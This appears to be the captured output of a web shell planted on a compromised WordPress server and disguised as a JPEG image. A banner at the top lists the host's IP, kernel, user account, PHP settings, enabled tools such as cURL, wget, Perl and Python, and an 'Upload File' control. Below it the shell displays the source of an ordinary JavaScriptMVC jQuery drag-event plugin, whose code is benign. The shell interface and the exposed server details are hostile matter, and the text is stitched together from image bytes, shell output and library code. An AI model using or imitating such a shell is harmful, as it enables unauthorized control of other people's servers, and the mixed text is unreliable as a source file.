????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.87 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././././proc/self/cwd/wp-content/plugins/motopress-content-editor/jquery/event/drag/ |
Upload File : |
steal('jquery/event', 'jquery/lang/vector', 'jquery/event/livehack',function( $ ) {
//modify live
//steal the live handler ....
var bind = function( object, method ) {
var args = Array.prototype.slice.call(arguments, 2);
return function() {
var args2 = [this].concat(args, $.makeArray(arguments));
return method.apply(object, args2);
};
},
event = $.event,
clearSelection = window.getSelection ? function(){
window.getSelection().removeAllRanges()
} : function(){};
// var handle = event.handle; //unused
/**
* @class jQuery.Drag
* @parent specialevents
* @plugin jquery/event/drag
* @download http://jmvcsite.heroku.com/pluginify?plugins[]=jquery/event/drag/drag.js
* @test jquery/event/drag/qunit.html
* Provides drag events as a special events to jQuery.
* A jQuery.Drag instance is created on a drag and passed
* as a parameter to the drag event callbacks. By calling
* methods on the drag event, you can alter the drag's
* behavior.
* ## Drag Events
*
* The drag plugin allows you to listen to the following events:
*
* <ul>
* <li><code>dragdown</code> - the mouse cursor is pressed down</li>
* <li><code>draginit</code> - the drag motion is started</li>
* <li><code>dragmove</code> - the drag is moved</li>
* <li><code>dragend</code> - the drag has ended</li>
* <li><code>dragover</code> - the drag is over a drop point</li>
* <li><code>dragout</code> - the drag moved out of a drop point</li>
* </ul>
*
* Just by binding or delegating on one of these events, you make
* the element dragable. You can change the behavior of the drag
* by calling methods on the drag object passed to the callback.
*
* ### Example
*
* Here's a quick example:
*
* //makes the drag vertical
* $(".drags").delegate("draginit", function(event, drag){
* drag.vertical();
* })
* //gets the position of the drag and uses that to set the width
* //of an element
* $(".resize").delegate("dragmove",function(event, drag){
* $(this).width(drag.position.left() - $(this).offset().left )
* })
*
* ## Drag Object
*
* <p>The drag object is passed after the event to drag
* event callback functions. By calling methods
* and changing the properties of the drag object,
* you can alter how the drag behaves.
* </p>
* <p>The drag properties and methods:</p>
* <ul>
* <li><code>[jQuery.Drag.prototype.cancel cancel]</code> - stops the drag motion from happening</li>
* <li><code>[jQuery.Drag.prototype.ghost ghost]</code> - copys the draggable and drags the cloned element</li>
* <li><code>[jQuery.Drag.prototype.horizontal horizontal]</code> - limits the scroll to horizontal movement</li>
* <li><code>[jQuery.Drag.prototype.location location]</code> - where the drag should be on the screen</li>
* <li><code>[jQuery.Drag.prototype.mouseElementPosition mouseElementPosition]</code> - where the mouse should be on the drag</li>
* <li><code>[jQuery.Drag.prototype.only only]</code> - only have drags, no drops</li>
* <li><code>[jQuery.Drag.prototype.representative representative]</code> - move another element in place of this element</li>
* <li><code>[jQuery.Drag.prototype.revert revert]</code> - animate the drag back to its position</li>
* <li><code>[jQuery.Drag.prototype.vertical vertical]</code> - limit the drag to vertical movement</li>
* <li><code>[jQuery.Drag.prototype.limit limit]</code> - limit the drag within an element (*limit plugin)</li>
* <li><code>[jQuery.Drag.prototype.scrolls scrolls]</code> - scroll scrollable areas when dragging near their boundries (*scroll plugin)</li>
* </ul>
* <h2>Demo</h2>
* Now lets see some examples:
* @demo jquery/event/drag/drag.html 1000
* @constructor
* The constructor is never called directly.
*/
$.Drag = function() {};
/**
* @Static
*/
$.extend($.Drag, {
lowerName: "drag",
current: null,
distance: 0,
/**
* Called when someone mouses down on a draggable object.
* Gathers all callback functions and creates a new Draggable.
* @hide
*/
mousedown: function( ev, element ) {
var isLeftButton = ev.button === 0 || ev.button == 1;
if (!isLeftButton || this.current ) {
return;
} //only allows 1 drag at a time, but in future could allow more
//ev.preventDefault();
//create Drag
var drag = new $.Drag(),
delegate = ev.delegateTarget || element,
selector = ev.handleObj.selector,
self = this;
this.current = drag;
drag.setup({
element: element,
delegate: ev.delegateTarget || element,
selector: ev.handleObj.selector,
moved: false,
_distance: this.distance,
callbacks: {
dragdown: event.find(delegate, ["dragdown"], selector),
draginit: event.find(delegate, ["draginit"], selector),
dragover: event.find(delegate, ["dragover"], selector),
dragmove: event.find(delegate, ["dragmove"], selector),
dragout: event.find(delegate, ["dragout"], selector),
dragend: event.find(delegate, ["dragend"], selector)
},
destroyed: function() {
self.current = null;
}
}, ev);
}
});
/**
* @Prototype
*/
$.extend($.Drag.prototype, {
setup: function( options, ev ) {
$.extend(this, options);
this.element = $(this.element);
this.event = ev;
this.moved = false;
this.allowOtherDrags = false;
var mousemove = bind(this, this.mousemove),
mouseup = bind(this, this.mouseup);
this._mousemove = mousemove;
this._mouseup = mouseup;
this._distance = options.distance ? options.distance : 0;
this.mouseStartPosition = ev.vector(); //where the mouse is located
$(document).bind('mousemove', mousemove);
$(document).bind('mouseup', mouseup);
if (!this.callEvents('down', this.element, ev) ) {
this.noSelection(this.delegate);
//this is for firefox
clearSelection();
}
},
/**
* Unbinds listeners and allows other drags ...
* @hide
*/
destroy: function() {
$(document).unbind('mousemove', this._mousemove);
$(document).unbind('mouseup', this._mouseup);
if (!this.moved ) {
this.event = this.element = null;
}
this.selection(this.delegate);
this.destroyed();
},
mousemove: function( docEl, ev ) {
if (!this.moved ) {
var dist = Math.sqrt( Math.pow( ev.pageX - this.event.pageX, 2 ) + Math.pow( ev.pageY - this.event.pageY, 2 ));
if(dist < this._distance){
return false;
}
this.init(this.element, ev);
this.moved = true;
}
var pointer = ev.vector();
if ( this._start_position && this._start_position.equals(pointer) ) {
return;
}
//e.preventDefault();
this.draw(pointer, ev);
},
mouseup: function( docEl, event ) {
//if there is a current, we should call its dragstop
if ( this.moved ) {
this.end(event);
}
this.destroy();
},
/**
* noSelection method turns off text selection during a drag event.
* This method is called by default unless a event is listening to the 'dragdown' event.
*
* ## Example
*
* $('div.drag').bind('dragdown', function(elm,event,drag){
* drag.noSelection();
* });
*
* @param [elm] an element to prevent selection on. Defaults to the dragable element.
*/
noSelection: function(elm) {
elm = elm || this.delegate
document.documentElement.onselectstart = function() {
return false;
};
document.documentElement.unselectable = "on";
this.selectionDisabled = (this.selectionDisabled ? this.selectionDisabled.add(elm) : $(elm));
this.selectionDisabled.css('-moz-user-select', '-moz-none');
},
/**
* selection method turns on text selection that was previously turned off during the drag event.
* This method is called by default in 'destroy' unless a event is listening to the 'dragdown' event.
*
* ## Example
*
* $('div.drag').bind('dragdown', function(elm,event,drag){
* drag.noSelection();
* });
*/
selection: function(elm) {
if(this.selectionDisabled){
document.documentElement.onselectstart = function() {};
document.documentElement.unselectable = "off";
this.selectionDisabled.css('-moz-user-select', '');
}
},
init: function( element, event ) {
element = $(element);
var startElement = (this.movingElement = (this.element = $(element))); //the element that has been clicked on
//if a mousemove has come after the click
this._cancelled = false; //if the drag has been cancelled
this.event = event;
/**
* @attribute mouseElementPosition
* The position of start of the cursor on the element
*/
this.mouseElementPosition = this.mouseStartPosition.minus(this.element.offsetv()); //where the mouse is on the Element
//this.callStart(element, event);
this.callEvents('init', element, event);
//Check what they have set and respond accordingly
// if they canceled
if ( this._cancelled === true ) {
return;
}
//if they set something else as the element
this.startPosition = startElement != this.movingElement ? this.movingElement.offsetv() : this.currentDelta();
this.makePositioned(this.movingElement);
this.oldZIndex = this.movingElement.css('zIndex');
this.movingElement.css('zIndex', 1000);
if (!this._only && this.constructor.responder ) {
this.constructor.responder.compile(event, this);
}
},
makePositioned: function( that ) {
var style, pos = that.css('position');
if (!pos || pos == 'static' ) {
style = {
position: 'relative'
};
if ( window.opera ) {
style.top = '0px';
style.left = '0px';
}
that.css(style);
}
},
callEvents: function( type, element, event, drop ) {
var i, cbs = this.callbacks[this.constructor.lowerName + type];
for ( i = 0; i < cbs.length; i++ ) {
cbs[i].call(element, event, this, drop);
}
return cbs.length;
},
/**
* Returns the position of the movingElement by taking its top and left.
* @hide
* @return {Vector}
*/
currentDelta: function() {
return new $.Vector(parseInt(this.movingElement.css('left'), 10) || 0, parseInt(this.movingElement.css('top'), 10) || 0);
},
//draws the position of the dragmove object
draw: function( pointer, event ) {
// only drag if we haven't been cancelled;
if ( this._cancelled ) {
return;
}
clearSelection();
/**
* @attribute location
* The location of where the element should be in the page. This
* takes into account the start position of the cursor on the element.
*
* If the drag is going to be moved to an unacceptable location, you can call preventDefault in
* dragmove to prevent it from being moved there.
*
* $('.mover').bind("dragmove", function(ev, drag){
* if(drag.location.top() < 100){
* ev.preventDefault()
* }
* });
*
* You can also set the location to where it should be on the page.
*/
this.location = pointer.minus(this.mouseElementPosition); // the offset between the mouse pointer and the representative that the user asked for
// position = mouse - (dragOffset - dragTopLeft) - mousePosition
// call move events
this.move(event);
if ( this._cancelled ) {
return;
}
if (!event.isDefaultPrevented() ) {
this.position(this.location);
}
//fill in
if (!this._only && this.constructor.responder ) {
this.constructor.responder.show(pointer, this, event);
}
},
/**
* Sets the position of this drag.
*
* The limit and scroll plugins
* overwrite this to make sure the drag follows a particular path.
*
* @param {jQuery.Vector} newOffsetv the position of the element (not the mouse)
*/
position: function( newOffsetv ) { //should draw it on the page
var style, dragged_element_css_offset = this.currentDelta(),
// the drag element's current left + top css attributes
dragged_element_position_vector = // the vector between the movingElement's page and css positions
this.movingElement.offsetv().minus(dragged_element_css_offset); // this can be thought of as the original offset
this.required_css_position = newOffsetv.minus(dragged_element_position_vector);
this.offsetv = newOffsetv;
//dragged_element vector can probably be cached.
style = this.movingElement[0].style;
if (!this._cancelled && !this._horizontal ) {
style.top = this.required_css_position.top() + "px";
}
if (!this._cancelled && !this._vertical ) {
style.left = this.required_css_position.left() + "px";
}
},
move: function( event ) {
this.callEvents('move', this.element, event);
},
over: function( event, drop ) {
this.callEvents('over', this.element, event, drop);
},
out: function( event, drop ) {
this.callEvents('out', this.element, event, drop);
},
/**
* Called on drag up
* @hide
* @param {Event} event a mouseup event signalling drag/drop has completed
*/
end: function( event ) {
if ( this._cancelled ) {
return;
}
if (!this._only && this.constructor.responder ) {
this.constructor.responder.end(event, this);
}
this.callEvents('end', this.element, event);
if ( this._revert ) {
var self = this;
this.movingElement.animate({
top: this.startPosition.top() + "px",
left: this.startPosition.left() + "px"
}, function() {
self.cleanup.apply(self, arguments);
});
}
else {
this.cleanup();
}
this.event = null;
},
/**
* Cleans up drag element after drag drop.
* @hide
*/
cleanup: function() {
this.movingElement.css({
zIndex: this.oldZIndex
});
if ( this.movingElement[0] !== this.element[0] &&
!this.movingElement.has(this.element[0]).length &&
!this.element.has(this.movingElement[0]).length ) {
this.movingElement.css({
display: 'none'
});
}
if ( this._removeMovingElement ) {
this.movingElement.remove();
}
this.movingElement = this.element = this.event = null;
},
/**
* Stops drag drop from running.
*/
cancel: function() {
this._cancelled = true;
//this.end(this.event);
if (!this._only && this.constructor.responder ) {
this.constructor.responder.clear(this.event.vector(), this, this.event);
}
this.destroy();
},
/**
* Clones the element and uses it as the moving element.
* @return {jQuery.fn} the ghost
*/
ghost: function( loc ) {
// create a ghost by cloning the source element and attach the clone to the dom after the source element
var ghost = this.movingElement.clone().css('position', 'absolute');
(loc ? $(loc) : this.movingElement).after(ghost);
ghost.width(this.movingElement.width()).height(this.movingElement.height());
// put the ghost in the right location ...
ghost.offset(this.movingElement.offset())
// store the original element and make the ghost the dragged element
this.movingElement = ghost;
this.noSelection(ghost)
this._removeMovingElement = true;
return ghost;
},
/**
* Use a representative element, instead of the movingElement.
* @param {HTMLElement} element the element you want to actually drag
* @param {Number} offsetX the x position where you want your mouse on the object
* @param {Number} offsetY the y position where you want your mouse on the object
*/
representative: function( element, offsetX, offsetY ) {
this._offsetX = offsetX || 0;
this._offsetY = offsetY || 0;
var p = this.mouseStartPosition;
this.movingElement = $(element);
this.movingElement.css({
top: (p.y() - this._offsetY) + "px",
left: (p.x() - this._offsetX) + "px",
display: 'block',
position: 'absolute'
}).show();
this.noSelection(this.movingElement)
this.mouseElementPosition = new $.Vector(this._offsetX, this._offsetY);
},
/**
* Makes the movingElement go back to its original position after drop.
* @codestart
* ".handle dragend" : function( el, ev, drag ) {
* drag.revert()
* }
* @codeend
* @param {Boolean} [val] optional, set to false if you don't want to revert.
*/
revert: function( val ) {
this._revert = val === undefined ? true : val;
return this;
},
/**
* Isolates the drag to vertical movement.
*/
vertical: function() {
this._vertical = true;
return this;
},
/**
* Isolates the drag to horizontal movement.
*/
horizontal: function() {
this._horizontal = true;
return true;
},
/**
* Respondables will not be alerted to this drag.
*/
only: function( only ) {
return (this._only = (only === undefined ? true : only));
},
/**
* Sets the distance from the mouse before the item begins dragging.
* @param {Number} val
*/
distance:function(val){
if(val !== undefined){
this._distance = val;
return this;
}else{
return this._distance
}
}
});
/**
* @add jQuery.event.special
*/
event.setupHelper([
/**
* @attribute dragdown
* <p>Listens for when a drag movement has started on a mousedown.
* If you listen to this, the mousedown's default event (preventing
* text selection) is not prevented. You are responsible for calling it
* if you want it (you probably do). </p>
* <p><b>Why might you not want it?</b></p>
* <p>You might want it if you want to allow text selection on element
* within the drag element. Typically these are input elements.</p>
* <p>Drag events are covered in more detail in [jQuery.Drag].</p>
* @codestart
* $(".handles").delegate("dragdown", function(ev, drag){})
* @codeend
*/
'dragdown',
/**
* @attribute draginit
* Called when the drag starts.
* <p>Drag events are covered in more detail in [jQuery.Drag].</p>
*/
'draginit',
/**
* @attribute dragover
* Called when the drag is over a drop.
* <p>Drag events are covered in more detail in [jQuery.Drag].</p>
*/
'dragover',
/**
* @attribute dragmove
* Called when the drag is moved.
* <p>Drag events are covered in more detail in [jQuery.Drag].</p>
*/
'dragmove',
/**
* @attribute dragout
* When the drag leaves a drop point.
* <p>Drag events are covered in more detail in [jQuery.Drag].</p>
*/
'dragout',
/**
* @attribute dragend
* Called when the drag is done.
* <p>Drag events are covered in more detail in [jQuery.Drag].</p>
*/
'dragend'], "mousedown", function( e ) {
$.Drag.mousedown.call($.Drag, e, this);
});
});